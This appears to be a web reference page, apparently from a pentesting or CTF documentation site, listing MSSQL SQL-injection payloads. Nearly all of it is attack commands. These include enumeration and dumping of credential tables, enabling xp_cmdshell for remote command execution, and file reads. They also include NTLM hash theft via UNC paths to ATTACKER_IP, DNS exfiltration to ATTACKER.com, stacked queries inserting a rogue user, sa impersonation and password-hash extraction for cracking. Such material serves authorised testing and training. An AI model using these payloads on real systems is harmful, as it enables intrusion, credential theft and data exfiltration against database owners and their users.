Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Identification
SELECT @@version
-- Comment: -- or /* */
-- String concat: 'a'+'b'
-- No # comments
SELECT db_name()
SELECT system_user
SELECT user_name()
SELECT @@servername
SELECT is_srvrolemember('sysadmin')
Enumerate Databases
SELECT name FROM master.sys.databases
SELECT name FROM master..sysdatabases
SELECT DB_NAME(0) -- Current
SELECT DB_NAME(1) -- First database
Enumerate Tables
SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM information_schema.tables
SELECT name FROM DBNAME..sysobjects WHERE xtype='U'
Enumerate Columns
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
SELECT column_name FROM information_schema.columns WHERE table_name='users'
Dump Data
SELECT username+':'+password FROM users
SELECT TOP 1 username FROM users
SELECT TOP 1 username FROM users WHERE username NOT IN ('admin') -- Next row
String Functions
| Function | Description |
|---|
+ | Concatenate |
SUBSTRING(str,pos,len) | Substring |
LEFT(str,n) | Left N chars |
RIGHT(str,n) | Right N chars |
LEN(str) | String length |
ASCII(char) | ASCII value |
CHAR(n) | Char from ASCII |
UPPER(str) | Uppercase |
LOWER(str) | Lowercase |
REPLACE(str,old,new) | Replace |
STR(number) | Number to string |
Conditional
IF condition BEGIN true END ELSE BEGIN false END
CASE WHEN condition THEN true_val ELSE false_val END
IIF(condition, true_val, false_val) -- 2012+
Time Delay
WAITFOR DELAY '0:0:5'
IF (1=1) WAITFOR DELAY '0:0:5'
Error-Based
CONVERT(int, (QUERY))
CAST((QUERY) AS int)
xp_cmdshell (RCE)
-- Enable
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
-- Execute
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'type C:\flag.txt'
File Read
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x
NTLM Hash Steal
EXEC xp_dirtree '\\ATTACKER_IP\share'
EXEC xp_fileexist '\\ATTACKER_IP\share\file'
EXEC xp_subdirs '\\ATTACKER_IP\share'
Linked Servers
EXEC sp_linkedservers
SELECT * FROM OPENQUERY([LINKED],'SELECT @@version')
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
Impersonation
SELECT * FROM sys.server_permissions WHERE permission_name='IMPERSONATE'
EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell 'whoami'
Password Hashes
SELECT name, password_hash FROM sys.sql_logins
Crack: hashcat -m 1731.
Stacked Queries
Fully supported:
'; EXEC xp_cmdshell 'whoami';-- -
'; INSERT INTO users VALUES('hack','pass');-- -
DNS Exfiltration
DECLARE @d varchar(1024)
SET @d=(SELECT DB_NAME())
EXEC('master..xp_dirtree "\\'+@d+'.ATTACKER.com\\x"')
Sources